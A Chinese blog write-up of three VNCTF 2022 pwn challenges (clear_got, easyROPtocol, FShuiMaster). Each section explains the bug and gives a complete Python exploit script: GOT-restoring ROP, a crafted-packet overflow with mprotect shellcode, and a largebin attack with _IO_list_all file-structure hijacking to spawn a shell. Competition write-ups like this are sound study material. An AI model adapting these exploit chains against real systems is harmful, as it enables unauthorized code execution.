VNCTF2022-pwn-wp
VNCTF-2022-pwn-wp
V&NCTF2022
比賽中pwn
的題wp
,持續更新中。
- 上午在
HideOnHeap
中浪費了太多的時間,嘗試了好幾個思路都失敗了,以後還是不能太頭鐵(下次還敢 - 平時得多積累一些有用的函式或指令碼,比如
_IO_str_finish
拿shell
的IO_FILE
建構函式
clear_got
checksec
沒有給libc
,後來測出來遠端使用的版本是libc6_2.23-0ubuntu10_amd64
漏洞點
main
函式就一個簡單直接的棧溢位,但是got
表被清空,沒完全清空,還剩下__libc_start_main
。後面的stdout
和stdin
也都在資料段上。
利用思路
清空了got
表,考慮使用ret2syscall
,發現程式中有syscall; ret
。這裡主要是利用了一個gadget
:
0x000000000040075c: mov eax, 0; leave; ret;
結合end2
函式,正好可以洩露出libc
地址後,執行構造syscall
呼叫read
函式,再重新給got
表填上。最終思路為:
-
棧溢位並利用
end2
洩露出__libc_start_main
地址和_IO_2_1_stdout_
地址 -
使用
libc
版本 -
重新給
puts@got
填為system
-
呼叫
puts@plt
,實際執行system("/bin/sh")
獲取shell
EXP
#!/usr/bin/python3 # -*- encoding: utf-8 -*- # author: roderick from pwncli import * cli_script() io: tube = gift['io'] elf: ELF = gift['elf'] libc: ELF = gift['libc'] # remote libc: libc6_2.23-0ubuntu10_amd64 """ 0x000000000040077e: syscall; ret; 0x00000000004007f3: pop rdi; ret; 0x00000000004007f1: pop rsi; pop r15; ret; 0x0000000000400539: ret; 0x000000000040075c: mov eax, 0; leave; ret; """ pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 sysret = 0x000000000040077e payload = flat({ 0x60:[ 0x000000000040075c, pop_rdi, 1, pop_rsi_r15, 0x601040, 0, 0x400773, pop_rdi, 0, pop_rsi_r15, 0x601008, 0, sysret, pop_rdi, 0x601008, elf.plt.puts ] }, length=0x100, filler="\x00") io.sendafter("Welcome to VNCTF! This is a easy competition.///\n", payload) msg = io.recvn(0x38) libc_start_main = u64(msg[:8]) stdout = u64(msg[0x20:0x28]) log_address("libc_start_main", libc_start_main) log_address("stdout", stdout) libc_base = libc_start_main - 0x020740 # __libc_start_main offset log_libc_base_addr(libc_base) log_address("stdout offset", stdout - libc_base) # validate libc io.send(flat({ 0: "/bin/sh\x00", 8: [libc_base + 0x045390]*6 # system })) io.interactive()
遠端打:
easyROPtocol
這題其實本地很快出來了,但是遠端打10
次成功1
次,搞不好中間哪一次就掛了,不知道是不是網的問題。每次send 0x1000
個位元組過去,要睡眠好長時間才能得到遠端的回顯,而且中間極容易掛,其實可以把報文長度調小一點,只要能打棧溢位就行。賽後嘗試每次傳送0xe00
大小的位元組過去,但還是掛(真是要命
所以這題啊,多試試,試試就逝世。
checksec
沒有開PIE
和棧保護。遠端的libc
版本為:libc6_2.31-0ubuntu9.2_amd64
。
開啟了沙箱:
漏洞點
在submit
函式中,存在棧溢位:
利用思路
漏洞點很簡單,關鍵是需要構造好報文,然後可以觸發submit
中的棧溢位漏洞。
分析出報文的組成為:
struct message {
uint32_t heap; // 固定值 0x28b7766e
uint32_t size; // submit函式中的memcpy會校驗,依次為1 0x1001 0x2001 0x3001
uint32_t _1; // 不能為0
uint16_t type; // 要麼為5要麼為6
uint16_t _2; // 不能為0
uint16_t check_sum; // 校驗和
uint16_t _3; // 必須為0
uint16_t flag1; // 可控制submit函式的分支
uint16_t flag2; // 當type為6時,必須為0xffff
char data[]; // 資料
};
計算校驗和就是把整個報文加上一個fakeipheadfa
,每兩個位元組取整數,然後異或,最後得到的值填充到check_sum
。
因此,利用思路總結如下:
- 構造好
4
個報文 - 利用棧溢位,使用
write
洩露出libc
地址(submit
函式溢位後rdx
為6
,正好可以洩露地址) - 再執行一次
main
函式 - 使用
libc
中的gadgets
,用orw
拿flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ^= tmp
return res
def get_message(size, data=b""):
payload = b""
payload += p32(0x28b7766e) # head
payload += p32(size)
payload += p32(1)
payload += p16(6)
payload += p16(1) # 7
# check sum後續補上
payload += p16(0)
payload += p16(1) # 10
payload += p16(0xffff)
payload += data
last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
return last
def create(size, data=b""):
io.sendlineafter("4. Quit.\n", "1")
sleep(1)
data = get_message(size, data)
print(f"send message, message length: {len(data)}")
io.send(data)
sleep(5)
def delete(idx):
io.sendlineafter("4. Quit.\n", "2")
sleep(1)
io.sendlineafter("Which?", str(idx))
def submit():
io.sendlineafter("4. Quit.\n", "3")
sleep(3)
context.update(timeout=10)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
pay_attack = flat(
[
pop_rsi_r15,
elf.got.atoi,
0,
elf.plt.write,
0x401a5e
]
)
create(0x3001, flat({112:pay_attack}, length=0x400))
submit()
libc_base = recv_current_libc_addr(offset=libc.sym.atoi)
log_libc_base_addr(libc_base)
libc.address = libc_base
delete(0)
delete(1)
delete(2)
delete(3)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
rop = ROP(libc)
rop.mprotect(0x404000, 0x1000, 7)
rop.read(0, 0x404600, 0x200)
rop.call(0x404600)
pay_attack = rop.chain()
create(0x3001, flat({114-8:pay_attack}, length=0x400))
submit()
io.send(asm(shellcraft.cat("/flag")))
io.interactive()
遠端打:
FShuiMaster
比較常規的題,有一說一,這一題做得最快。
checksec
保護全開,遠端的libc
版本為:libc6_2.27-3ubuntu1_amd64
。
漏洞點
在Edit
函式,存在off by null
:
利用思路
分析題目後得知,只能分配largebin chunk
,可輸入的範圍大概處於0x430 ~ 0x700
;增刪改查都有。使用largebin attack
結合一個off by null
,然後打_IO_list_all
即可完成利用。1
思路總結如下:
- 利用
malloc
殘存的地址,洩露出libc
地址和heap
地址。洩露堆地址可以用largebin chunk
上殘存的地址。 largebin attack
,修改_IO_list_all
為堆地址exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW
呼叫鏈完成利用。libc
版本不高,這裡我使用的是_IO_str_finish
。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def increase(size, data="deadbeef"):
io.sendlineafter("Five: Finished!\n\n", "1")
io.sendlineafter("Number of words?\n", str(size))
io.sendafter("please input U character\n", data)
def edit(idx, data):
io.sendlineafter("Five: Finished!\n\n", "2")
io.sendlineafter("please input the page U want 2 change\n", str(idx))
io.sendafter("Now Change U this page :", data)
def dele(idx):
io.sendlineafter("Five: Finished!\n\n", "3")
io.sendlineafter("please Input the page U want 2 tear off\n", str(idx))
def scan(idx):
io.sendlineafter("Five: Finished!\n\n", "4")
io.sendlineafter("please Input The page U want 2 scan\n", str(idx))
def fini():
io.sendlineafter("Five: Finished!\n\n", "5")
io.sendlineafter("Please Write U Name on the Book\n\n", "roderick")
increase(0x440) # 0
increase(0x448) # 1
increase(0x4f0) # 2
increase(0x440) # 3
dele(0)
edit(1, b"a"*0x440+p64(0x8a0))
dele(2)
increase(0x440) # 4
scan(1)
libc_base = recv_current_libc_addr(offset=0x3ebca0)
log_libc_base_addr(libc_base)
libc.address = libc_base
increase(0x448) # 5 1
increase(0x4f0) # 6
increase(0x440) # 7
increase(0x448, flat({0x440:"\x01"})) # 8
increase(0x450) # 9
increase(0x440) # 10
dele(7)
dele(9)
increase(0x500) # 11
increase(0x440, "a"*8) # 12
scan(12)
m = io.recvline()
heapaddr = u64_ex(m[8:-1])
log_address("heap address", heapaddr)
dele(1)
f = IO_FILE_plus_struct()
pay = f.getshell_by_str_jumps_finish_when_exit(libc_base + 0x3e8360, libc.sym.system, libc.search(b"/bin/sh").__next__())
increase(0x450, flat({0x58:heapaddr+0x110,
0xb0:0xffffffffffffffff,
0x100: pay
}) + b"\n") # 13
dele(13)
edit(5, p64(0x3ec0a0 + libc_base) + p64(libc.sym['_IO_list_all']-0x10)[:7]+b"\n")
increase(0x500)
fini()
io.sendline("cat flag")
io.interactive()
遠端打:
引用與參考
1、My Blog
2、Ctf Wiki
3、pwncli
本文來自部落格園,作者:LynneHuan,轉載請註明原文連結:https://www.cnblogs.com/LynneHuan/p/15890280.html